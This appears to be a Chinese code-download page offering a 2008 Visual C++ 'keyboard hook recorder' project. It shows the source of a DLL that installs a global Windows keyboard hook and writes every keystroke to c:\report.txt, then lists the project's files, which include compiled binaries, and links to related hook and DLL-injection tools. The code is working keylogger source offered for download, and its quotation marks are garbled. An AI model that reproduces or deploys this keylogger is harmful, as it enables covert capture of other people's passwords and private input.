资源简介
一个简单的键盘钩子程序记录程序,可以记录电脑中的键盘操作....

代码片段和文件信息
// hookKB.cpp : Defines the initialization routines for the DLL.
//
#include “stdafx.h“
#include “hookKB.h“
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
//
// Note!
//
// If this DLL is dynamically linked against the MFC
// DLLs any functions exported from this DLL which
// call into MFC must have the AFX_MANAGE_STATE macro
// added at the very beginning of the function.
//
// For example:
//
// extern “C“ BOOL PASCAL EXPORT ExportedFunction()
// {
// AFX_MANAGE_STATE(AfxGetStaticModuleState());
// // normal function body here
// }
//
// It is very important that this macro appear in each
// function prior to any calls into MFC. This means that
// it must appear as the first statement within the
// function even before any object variable declarations
// as their constructors may generate calls into the MFC
// DLL.
//
// Please see MFC Technical Notes 33 and 58 for additional
// details.
//
/////////////////////////////////////////////////////////////////////////////
// CHookKBApp
#pragma data_seg(“.SHARDAT“)
static HHOOK hkb=NULL;
FILE *f1;
#pragma data_seg()
HINSTANCE hins;
BEGIN_MESSAGE_MAP(CHookKBApp CWinApp)
//{{AFX_MSG_MAP(CHookKBApp)
// NOTE - the ClassWizard will add and remove mapping macros here.
// DO NOT EDIT what you see in these blocks of generated code!
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CHookKBApp construction
CHookKBApp::CHookKBApp()
{
// TODO: add construction code here
// Place all significant initialization in InitInstance
}
/////////////////////////////////////////////////////////////////////////////
// The one and only CHookKBApp object
CHookKBApp theApp;
LRESULT __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCodeWPARAM wParamLPARAM lParam)
{
char ch;
if((wParam==VK_SPACE) ||(wParam==VK_RETURN) ||(wParam>=0x2f) &&(wParam<=0x100))
{
f1=fopen(“c:\\report.txt““a+“);
if(wParam==VK_RETURN)
{
ch=‘\n‘;
fwrite(&ch11f1);
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan;
scan=0;
ToAscii(wParamscanks&w0);
ch=char(w);
fwrite(&ch11f1);
}
fclose(f1);
}
//将键盘消息传递给其他钩子链上的程序
LRESULT RetVal=CallNextHookEx(hkbnCodewParamlParam);
return RetVal;
}
//安装键盘钩子
BOOL __declspec(dllexport)__stdcall installhook()
{
f1=fopen(“c:\\report.txt““w“);
fclose(f1);
hkb=SetWindowsHookEx(WH_KEYBOARD(HOOKPROC)KeyboardProchins0);
return TRUE;
}
//卸载键盘钩子
BOOL __declspec(dllexport) UnHook()
{
BOOL unhooked=UnhookWindowsHookEx(hkb);
return unhooked;
}
BOOL CHookKBApp::InitInstance()
{
// TODO: Add your specialized code here and/or call the base class
AFX_MANAGE_STATE(AfxGetStaticModuleState());
hins=AfxGetInstanceHandle();
return CWinApp::Ini
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 1145 2008-05-08 14:23 键盘钩子程序\KBrecorder\KBrecorder.clw
文件 3651 2008-05-08 14:13 键盘钩子程序\KBrecorder\ReadMe.txt
文件 1368 2008-05-08 14:13 键盘钩子程序\KBrecorder\KBrecorder.h
文件 2119 2008-05-08 14:13 键盘钩子程序\KBrecorder\KBrecorder.cpp
文件 1054 2008-05-08 14:13 键盘钩子程序\KBrecorder\StdAfx.h
文件 212 2008-05-08 14:13 键盘钩子程序\KBrecorder\StdAfx.cpp
文件 542 2008-05-08 14:13 键盘钩子程序\KBrecorder\Resource.h
文件 4231 2008-05-08 14:13 键盘钩子程序\KBrecorder\KBrecorder.dsp
文件 545 2008-05-08 14:13 键盘钩子程序\KBrecorder\KBrecorder.dsw
文件 41984 2008-05-08 14:23 键盘钩子程序\KBrecorder\KBrecorder.ncb
文件 35796 2008-05-08 14:15 键盘钩子程序\KBrecorder\KBrecorder.aps
文件 5362 2008-05-08 14:15 键盘钩子程序\KBrecorder\KBrecorder.rc
文件 1409 2008-05-08 14:15 键盘钩子程序\KBrecorder\KBrecorderDlg.h
文件 4514 2008-05-08 14:18 键盘钩子程序\KBrecorder\KBrecorderDlg.cpp
文件 1729 2008-05-08 14:22 键盘钩子程序\KBrecorder\KBrecorder.plg
文件 48640 2008-05-08 14:23 键盘钩子程序\KBrecorder\KBrecorder.opt
文件 20480 2008-05-08 14:22 键盘钩子程序\KBrecorder\Release\KBrecorder.exe
文件 1327196 2008-05-08 14:11 键盘钩子程序\KBrecorder\Release\hookKB.dll
文件 106589 2008-05-08 14:18 键盘钩子程序\KBrecorder\Debug\KBrecorder.exe
文件 1327196 2008-05-08 14:11 键盘钩子程序\KBrecorder\Debug\hookKB.dll
文件 402 2008-05-08 14:13 键盘钩子程序\KBrecorder\res\KBrecorder.rc2
文件 1078 2008-05-08 14:13 键盘钩子程序\KBrecorder\res\KBrecorder.ico
文件 361 2008-05-08 14:07 键盘钩子程序\hookKB\hookKB.clw
文件 2564 2008-05-08 13:33 键盘钩子程序\hookKB\ReadMe.txt
文件 1447 2008-05-08 13:33 键盘钩子程序\hookKB\StdAfx.h
文件 208 2008-05-08 13:33 键盘钩子程序\hookKB\StdAfx.cpp
文件 378 2008-05-08 13:33 键盘钩子程序\hookKB\Resource.h
文件 3065 2008-05-08 13:33 键盘钩子程序\hookKB\hookKB.rc
文件 4047 2008-05-08 13:33 键盘钩子程序\hookKB\hookKB.dsp
文件 537 2008-05-08 13:33 键盘钩子程序\hookKB\hookKB.dsw
............此处省略21个文件信息
相关资源
- VNCX
- HOOK小工具(进程、窗口、全局)
- Adobe Illustrator CS5原版amtlib.dll文件
-
分别适用于.NET fr
amework 2.0和4.0的E - HOOK 记录和模拟 Keyboard Mouse
- vmnetbridge.dll,vmnet.sys等文件
- 通用注入工具无驱版(HOOK注入、远程
- dll依赖项查看工具DLL DEPENDS
- zlib 最新 1.2.8 win32 win64 编译好的dll
- Diskhook(模拟硬盘序列号)
- 一个可以由SVCHost.exe服务调用的dll模块
- 探讨研华32位DLL驱动程序
- Delphi中融合Dll中的窗口的解决办法详
- 基于Filter-Hook Driver的个人防火墙
- Delphi中制作DLL中回调函数的应用
- inject.rar
- 图文手把手教你一步步用VC 2010编写通
- 图文手把手教你一步步用VC 2010编写通
- 易语言实现DLL的注入 与 隐藏源码
- 美松打印机SDK MsPrintSDK-Demo-DLL-CShare-
- Tidy2.dll安装
- VS2012OpenGL配置所需要的全部libdllh文件
- Kvsc3.exe、Kvsc3.dll病毒查杀清除方法
- 易语言DLL函数查看器源码
- ServiceStack V3.9 全部dll
- 远程桌面协议 (RDP)控件库
- win10最新1903版多用户termsrv.dll文件及修
- 大智慧(通达信)插件(dll编程源码
- PLL和DLL:都是锁相环,区别在哪里?
- 硬盘串号模拟diskhook
评论
共有 条评论